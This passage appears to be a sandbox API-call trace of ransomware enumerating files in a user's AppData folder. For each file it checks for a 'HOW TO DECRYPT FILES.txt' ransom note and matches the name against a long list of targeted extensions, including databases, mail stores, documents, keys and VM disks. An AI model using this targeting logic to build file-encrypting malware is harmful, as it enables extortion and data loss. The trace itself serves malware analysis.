HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.365] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.365] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.365] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="CvOJEXX41PJ5n2ixcSt.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv" [0087.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.ems") returned 0 [0087.365] lstrlenA (lpString="*.ems") returned 5 [0087.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.db") returned 0 [0087.365] lstrlenA (lpString="*.db") returned 4 [0087.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.dbf") returned 0 [0087.365] lstrlenA (lpString="*.dbf") returned 5 [0087.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.myox") returned 0 [0087.365] lstrlenA (lpString="*.myox") returned 6 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.myo") returned 0 [0087.366] lstrlenA (lpString="*.myo") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbw") returned 0 [0087.366] lstrlenA (lpString="*.qbw") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbb") returned 0 [0087.366] lstrlenA (lpString="*.qbb") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbm") returned 0 [0087.366] lstrlenA (lpString="*.qbm") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbo") returned 0 [0087.366] lstrlenA (lpString="*.qbo") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbx") returned 0 [0087.366] lstrlenA (lpString="*.qbx") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qba") returned 0 [0087.366] lstrlenA (lpString="*.qba") returned 5 [0087.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qby") returned 0 [0087.366] lstrlenA (lpString="*.qby") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qbj") returned 0 [0087.367] lstrlenA (lpString="*.qbj") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.ofx") returned 0 [0087.367] lstrlenA (lpString="*.ofx") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.qif") returned 0 [0087.367] lstrlenA (lpString="*.qif") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mye") returned 0 [0087.367] lstrlenA (lpString="*.mye") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mbox") returned 0 [0087.367] lstrlenA (lpString="*.mbox") returned 6 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.eml") returned 0 [0087.367] lstrlenA (lpString="*.eml") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.pst") returned 0 [0087.367] lstrlenA (lpString="*.pst") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.ost") returned 0 [0087.367] lstrlenA (lpString="*.ost") returned 5 [0087.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.idx") returned 0 [0087.367] lstrlenA (lpString="*.idx") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.dbx") returned 0 [0087.368] lstrlenA (lpString="*.dbx") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.sql") returned 0 [0087.368] lstrlenA (lpString="*.sql") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mdb") returned 0 [0087.368] lstrlenA (lpString="*.mdb") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.fdb") returned 0 [0087.368] lstrlenA (lpString="*.fdb") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.wab") returned 0 [0087.368] lstrlenA (lpString="*.wab") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.dat") returned 0 [0087.368] lstrlenA (lpString="*.dat") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.txt") returned 0 [0087.368] lstrlenA (lpString="*.txt") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.jpeg") returned 0 [0087.368] lstrlenA (lpString="*.jpeg") returned 6 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.jpg") returned 0 [0087.368] lstrlenA (lpString="*.jpg") returned 5 [0087.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.png") returned 0 [0087.369] lstrlenA (lpString="*.png") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.php") returned 0 [0087.369] lstrlenA (lpString="*.php") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.cs") returned 0 [0087.369] lstrlenA (lpString="*.cs") returned 4 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.cpp") returned 0 [0087.369] lstrlenA (lpString="*.cpp") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.rar") returned 0 [0087.369] lstrlenA (lpString="*.rar") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.zip") returned 0 [0087.369] lstrlenA (lpString="*.zip") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.html") returned 0 [0087.369] lstrlenA (lpString="*.html") returned 6 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.htm") returned 0 [0087.369] lstrlenA (lpString="*.htm") returned 5 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.xlsx") returned 0 [0087.369] lstrlenA (lpString="*.xlsx") returned 6 [0087.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.xls") returned 0 [0087.370] lstrlenA (lpString="*.xls") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mp4") returned 0 [0087.370] lstrlenA (lpString="*.mp4") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.ppt") returned 0 [0087.370] lstrlenA (lpString="*.ppt") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.pptx") returned 0 [0087.370] lstrlenA (lpString="*.pptx") returned 6 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.doc") returned 0 [0087.370] lstrlenA (lpString="*.doc") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.dot") returned 0 [0087.370] lstrlenA (lpString="*.dot") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.docx") returned 0 [0087.370] lstrlenA (lpString="*.docx") returned 6 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.7z") returned 0 [0087.370] lstrlenA (lpString="*.7z") returned 4 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.tar") returned 0 [0087.370] lstrlenA (lpString="*.tar") returned 5 [0087.370] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.bz2") returned 0 [0087.371] lstrlenA (lpString="*.bz2") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.gz") returned 0 [0087.371] lstrlenA (lpString="*.gz") returned 4 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mkv") returned 0 [0087.371] lstrlenA (lpString="*.mkv") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.eml") returned 0 [0087.371] lstrlenA (lpString="*.eml") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.msg") returned 0 [0087.371] lstrlenA (lpString="*.msg") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.edb") returned 0 [0087.371] lstrlenA (lpString="*.edb") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.accdb") returned 0 [0087.371] lstrlenA (lpString="*.accdb") returned 7 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.odb") returned 0 [0087.371] lstrlenA (lpString="*.odb") returned 5 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.java") returned 0 [0087.371] lstrlenA (lpString="*.java") returned 6 [0087.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.asm") returned 0 [0087.371] lstrlenA (lpString="*.asm") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.pfx") returned 0 [0087.372] lstrlenA (lpString="*.pfx") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.pem") returned 0 [0087.372] lstrlenA (lpString="*.pem") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.p12") returned 0 [0087.372] lstrlenA (lpString="*.p12") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.gpg") returned 0 [0087.372] lstrlenA (lpString="*.gpg") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.vsd") returned 0 [0087.372] lstrlenA (lpString="*.vsd") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.odg") returned 0 [0087.372] lstrlenA (lpString="*.odg") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.raw") returned 0 [0087.372] lstrlenA (lpString="*.raw") returned 5 [0087.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.nef") returned 0 [0087.372] lstrlenA (lpString="*.nef") returned 5 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.svg") returned 0 [0087.373] lstrlenA (lpString="*.svg") returned 5 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.psd") returned 0 [0087.373] lstrlenA (lpString="*.psd") returned 5 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.vmx") returned 0 [0087.373] lstrlenA (lpString="*.vmx") returned 5 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.vmdk") returned 0 [0087.373] lstrlenA (lpString="*.vmdk") returned 6 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.vdi") returned 0 [0087.373] lstrlenA (lpString="*.vdi") returned 5 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.lay6") returned 0 [0087.373] lstrlenA (lpString="*.lay6") returned 6 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mpeg") returned 0 [0087.373] lstrlenA (lpString="*.mpeg") returned 6 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.djvu") returned 0 [0087.373] lstrlenA (lpString="*.djvu") returned 6 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.tiff") returned 0 [0087.373] lstrlenA (lpString="*.tiff") returned 6 [0087.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.backup") returned 0 [0087.373] lstrlenA (lpString="*.backup") returned 8 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.pdf") returned 0 [0087.374] lstrlenA (lpString="*.pdf") returned 5 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.cert") returned 0 [0087.374] lstrlenA (lpString="*.cert") returned 6 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.docm") returned 0 [0087.374] lstrlenA (lpString="*.docm") returned 6 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.xlsm") returned 0 [0087.374] lstrlenA (lpString="*.xlsm") returned 6 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.dwg") returned 0 [0087.374] lstrlenA (lpString="*.dwg") returned 5 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.nd") returned 0 [0087.374] lstrlenA (lpString="*.nd") returned 4 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.tlg") returned 0 [0087.374] lstrlenA (lpString="*.tlg") returned 5 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.lgb") returned 0 [0087.374] lstrlenA (lpString="*.lgb") returned 5 [0087.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mov") returned 0 [0087.375] lstrlenA (lpString="*.mov") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.xdw") returned 0 [0087.375] lstrlenA (lpString="*.xdw") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.ods") returned 0 [0087.375] lstrlenA (lpString="*.ods") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.wav") returned 0 [0087.375] lstrlenA (lpString="*.wav") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.mp3") returned 0 [0087.375] lstrlenA (lpString="*.mp3") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.aiff") returned 0 [0087.375] lstrlenA (lpString="*.aiff") returned 6 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.flac") returned 0 [0087.375] lstrlenA (lpString="*.flac") returned 6 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.m4a") returned 0 [0087.375] lstrlenA (lpString="*.m4a") returned 5 [0087.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv", pszSpec="*.csv") returned 0 [0087.375] lstrlenA (lpString="*.csv") returned 5 [0087.375] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcc94760, ftCreationTime.dwHighDateTime=0x1d5e75a, ftLastAccessTime.dwLowDateTime=0x77295f20, ftLastAccessTime.dwHighDateTime=0x1d5e370, ftLastWriteTime.dwLowDateTime=0x77295f20, ftLastWriteTime.dwHighDateTime=0x1d5e370, nFileSizeHigh=0x0, nFileSizeLow=0x58f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="dB_yQMrzJ3xG.png", cAlternateFileName="DB_YQM~1.PNG")) returned 1 [0087.376] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.376] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dB_yQMrzJ3xG.png") returned 1 [0087.376] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dB_yQMrzJ3xG.png") returned 1 [0087.376] lstrcmpiA (lpString1="", lpString2="dB_yQMrzJ3xG.png") returned -1 [0087.376] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CvOJEXX41PJ5n2ixcSt.flv") returned="CvOJEXX41PJ5n2ixcSt.flv" [0087.376] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.376] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.376] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.376] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.376] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="dB_yQMrzJ3xG.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png" [0087.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.ems") returned 0 [0087.376] lstrlenA (lpString="*.ems") returned 5 [0087.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.db") returned 0 [0087.376] lstrlenA (lpString="*.db") returned 4 [0087.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.dbf") returned 0 [0087.377] lstrlenA (lpString="*.dbf") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.myox") returned 0 [0087.377] lstrlenA (lpString="*.myox") returned 6 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.myo") returned 0 [0087.377] lstrlenA (lpString="*.myo") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbw") returned 0 [0087.377] lstrlenA (lpString="*.qbw") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbb") returned 0 [0087.377] lstrlenA (lpString="*.qbb") returned 5 [0087.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dB_yQMrzJ3xG.png", pszSpec="*.qbm") returned 0 [0087.377] lstrlenA (lpString="*.qbm") returned 5 [0087.377] PathMatchSpecA 